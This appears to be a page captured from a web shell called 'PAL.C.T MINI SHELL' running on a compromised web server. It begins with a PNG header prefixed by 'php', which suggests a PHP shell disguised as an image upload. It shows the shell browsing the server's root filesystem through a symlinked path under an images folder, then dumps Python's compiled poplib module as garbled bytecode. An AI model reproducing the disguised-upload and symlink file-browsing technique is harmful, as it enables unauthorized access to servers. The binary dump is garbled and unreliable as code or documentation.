php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/
upload
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/poplib.pyo

Lc@sdZddkZddkZddgZdefdYZdZdZdZd	Z	ee	Z
dfd
YZyddkZWne
j
on%XdefdYZeided
joddkZeeidZeiGHeieideieideiei\ZZx[ededD]FZeie\ZZZ deGHxeD]Z!de!GHq{WdGHqMWei"ndS(s@A POP3 client class.

Based on the J. Myers POP3 draft, Jan. 96
iNtPOP3terror_protocBseZRS((t__name__t
__module__(((s/usr/lib/python2.6/poplib.pyRsinis
s
cBseZdZeeidZdZdZdZ	dZ
dZdZdZ
d	Zd
ZdZdZd
ZddZdZdZdZdZdZdZeidZdZdZddZ RS(sThis class supports both the minimal and optional command sets.
    Arguments can be strings or integers (where appropriate)
    (e.g.: retr(1) and retr('1') both work equally well.

    Minimal Command Set:
            USER name               user(name)
            PASS string             pass_(string)
            STAT                    stat()
            LIST [msg]              list(msg = None)
            RETR msg                retr(msg)
            DELE msg                dele(msg)
            NOOP                    noop()
            RSET                    rset()
            QUIT                    quit()

    Optional Commands (some servers support these):
            RPOP name               rpop(name)
            APOP name digest        apop(name, digest)
            TOP msg n               top(msg, n)
            UIDL [msg]              uidl(msg = None)

    Raises one exception: 'error_proto'.

    Instantiate with:
            POP3(hostname, port=110)

    NB:     the POP protocol locks the mailbox from user
            authorization until QUIT, so be sure to get in, suck
            the messages, and quit, each time you access the
            mailbox.

            POP is a line-based protocol, which means large mail
            messages consume lots of python cycles reading them
            line-by-line.

            If it's available on your mail server, use IMAP4
            instead, it doesn't suffer from the two problems
            above.
    cCs^||_||_ti||f||_|iid|_d|_|i|_	dS(Ntrbi(
thosttporttsockettcreate_connectiontsocktmakefiletfilet
_debuggingt_getresptwelcome(tselfRRttimeout((s/usr/lib/python2.6/poplib.pyt__init__Os			cCsA|idjodGt|GHn|iid|tfdS(Nis*put*s%s%s(RtreprR	tsendalltCRLF(Rtline((s/usr/lib/python2.6/poplib.pyt_putlineYscCs.|iodGt|GHn|i|dS(Ns*cmd*(RRR(RR((s/usr/lib/python2.6/poplib.pyt_putcmd`s
cCs|ii}|idjodGt|GHn|ptdnt|}|dtjo|d |fS|dtjo|dd!|fS|d |fS(Nis*get*s-ERR EOFiii(RtreadlineRRRtlenRtCR(RRtoctets((s/usr/lib/python2.6/poplib.pyt_getlineiscCs`|i\}}|idjodGt|GHn|d }|djot|n|S(Nis*resp*t+(RRRR(Rtresptotc((s/usr/lib/python2.6/poplib.pyR
{s

cCs|i}g}d}|i\}}xd|djoV|d djo|d}|d}n||}|i||i\}}q-W|||fS(Nit.is..i(R
Rtappend(RRtlistRRR((s/usr/lib/python2.6/poplib.pyt_getlongresps



cCs|i||iS(N(RR
(RR((s/usr/lib/python2.6/poplib.pyt	_shortcmds
cCs|i||iS(N(RR$(RR((s/usr/lib/python2.6/poplib.pyt_longcmds
cCs|iS(N(R(R((s/usr/lib/python2.6/poplib.pyt
getwelcomescCs
||_dS(N(R(Rtlevel((s/usr/lib/python2.6/poplib.pytset_debuglevelscCs|id|S(sVSend user name, return response

        (should indicate password required).
        sUSER %s(R%(Rtuser((s/usr/lib/python2.6/poplib.pyR*scCs|id|S(sSend password, return response

        (response includes message count, mailbox size).

        NB: mailbox is locked by server from here to 'quit()'
        sPASS %s(R%(Rtpswd((s/usr/lib/python2.6/poplib.pytpass_scCsb|id}|i}|iodGt|GHnt|d}t|d}||fS(s]Get mailbox status.

        Result is tuple of 2 ints (message count, mailbox size)
        tSTATs*stat*ii(R%tsplitRRtint(RtretvaltretstnumMessagestsizeMessages((s/usr/lib/python2.6/poplib.pytstats
cCs,|dj	o|id|S|idS(sRequest listing, return result.

        Result without a message number argument is in form
        ['response', ['mesg_num octets', ...], octets].

        Result when a message number argument is given is a
        single response: the "scan listing" for that message.
        sLIST %stLISTN(tNoneR%R&(Rtwhich((s/usr/lib/python2.6/poplib.pyR#s	
cCs|id|S(soRetrieve whole message number 'which'.

        Result is in form ['response', ['line', ...], octets].
        sRETR %s(R&(RR7((s/usr/lib/python2.6/poplib.pytretrscCs|id|S(sFDelete message number 'which'.

        Result is 'response'.
        sDELE %s(R%(RR7((s/usr/lib/python2.6/poplib.pytdelescCs
|idS(sXDoes nothing.

        One supposes the response indicates the server is alive.
        tNOOP(R%(R((s/usr/lib/python2.6/poplib.pytnoopscCs
|idS(s(Unmark all messages marked for deletion.tRSET(R%(R((s/usr/lib/python2.6/poplib.pytrsetscCs[y|id}Wntj
o}|}nX|ii|ii|`|`|S(sDSignoff: commit changes on server, unlock mailbox, close connection.tQUIT(R%RRtcloseR	(RRtval((s/usr/lib/python2.6/poplib.pytquits

cCs|id|S(sNot sure what this does.sRPOP %s(R%(RR*((s/usr/lib/python2.6/poplib.pytrpopss\+OK.*(<[^>]+>)cCs|ii|i}|ptdnddk}|i|id|i}dit	d|}|i
d||fS(s Authorisation

        - only possible if server has supplied a timestamp in initial greeting.

        Args:
                user    - mailbox user;
                secret  - secret shared between client and server.

        NB: mailbox is locked by server from here to 'quit()'
        s!-ERR APOP not supported by serveriNitcSsdt|S(s%02x(tord(tx((s/usr/lib/python2.6/poplib.pyt<lambda>ss
APOP %s %s(t	timestamptmatchRRthashlibtmd5tgrouptdigesttjointmapR%(RR*tsecrettmRIRL((s/usr/lib/python2.6/poplib.pytapops"cCs|id||fS(sRetrieve message header of message number 'which'
        and first 'howmuch' lines of message body.

        Result is in form ['response', ['line', ...], octets].
        s	TOP %s %s(R&(RR7thowmuch((s/usr/lib/python2.6/poplib.pyttop#scCs,|dj	o|id|S|idS(sReturn message digest (unique id) list.

        If 'which', result contains unique id for that message
        in the form 'response mesgnum uid', otherwise result is
        the list ['response', ['mesgnum uid', ...], octets]
        sUIDL %stUIDLN(R6R%R&(RR7((s/usr/lib/python2.6/poplib.pytuidl,s
N(!RRt__doc__t	POP3_PORTRt_GLOBAL_DEFAULT_TIMEOUTRRRRR
R$R%R&R'R)R*R,R4R6R#R8R9R;R=RARBtretcompileRGRQRSRU(((s/usr/lib/python2.6/poplib.pyR$s4(													
	
									tPOP3_SSLcBsDeZdZedddZdZdZdZdZ	RS(sPOP3 client class over SSL connection

        Instantiate with: POP3_SSL(hostname, port=995, keyfile=None, certfile=None)

               hostname - the hostname of the pop3 over ssl server
               port - port number
               keyfile - PEM formatted file that countains your private key
               certfile - PEM formatted certificate chain file

            See the methods of the parent class POP3 for more documentation.
        cCsX||_||_||_||_d|_d}d|_xti|i|idti	D]}|\}}}	}
}y,ti|||	|_|ii
|Wn?tij
o0}|io|iind|_q^nXPq^W|ipti|n|ii
d|_ti|i|i|i|_d|_|i|_dS(NRCs!getaddrinfo returns an empty listiR(RRtkeyfiletcertfiletbufferR6R	RtgetaddrinfotSOCK_STREAMtconnectterrorR?R
Rtssltwrap_sockettsslobjRR
R(RRRR\R]tmsgtrestaftsocktypetprotot	canonnametsa((s/usr/lib/python2.6/poplib.pyRJs2						"
	
!	cCsE|ii}t|djotdn|i|7_dS(Nis-ERR EOF(RetreadRRR^(Rtlocalbuf((s/usr/lib/python2.6/poplib.pyt_fillBufferdscCsd}tid}|i|i}x(|p |i|i|i}q*W|id}|id|id|_|idjodGt|GHnt	|}|dt
jo|d |fS|dtjo|dd!|fS|d |fS(NRCs.*?\niis*get*ii(RYRZRHR^RoRKtsubRRRRR(RRt	renewlineRHR((s/usr/lib/python2.6/poplib.pyRjs"
cCs|idjodGt|GHn|t7}t|}xJ|djo<|ii|}||joPn||}||}q<WdS(Nis*put*i(RRRRRetwrite(RRtbytestsent((s/usr/lib/python2.6/poplib.pyR|s



cCsNy|id}Wntj
o}|}nX|ii|`|`|S(sDSignoff: commit changes on server, unlock mailbox, close connection.R>(R%RR	R?Re(RRR@((s/usr/lib/python2.6/poplib.pyRAs
N(
RRRVt
POP3_SSL_PORTR6RRoRRRA(((s/usr/lib/python2.6/poplib.pyR[=s			t__main__iiisMessage %d:s   s-----------------------(#RVRYRt__all__t	ExceptionRRWRuRtLFRRRctImportErrorR[R"RtsystargvtaR'R*R,R#R4tnumMsgst	totalSizetrangetiR8theaderRfRRRA(((s/usr/lib/python2.6/poplib.pyt<module>sB
T


	
	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`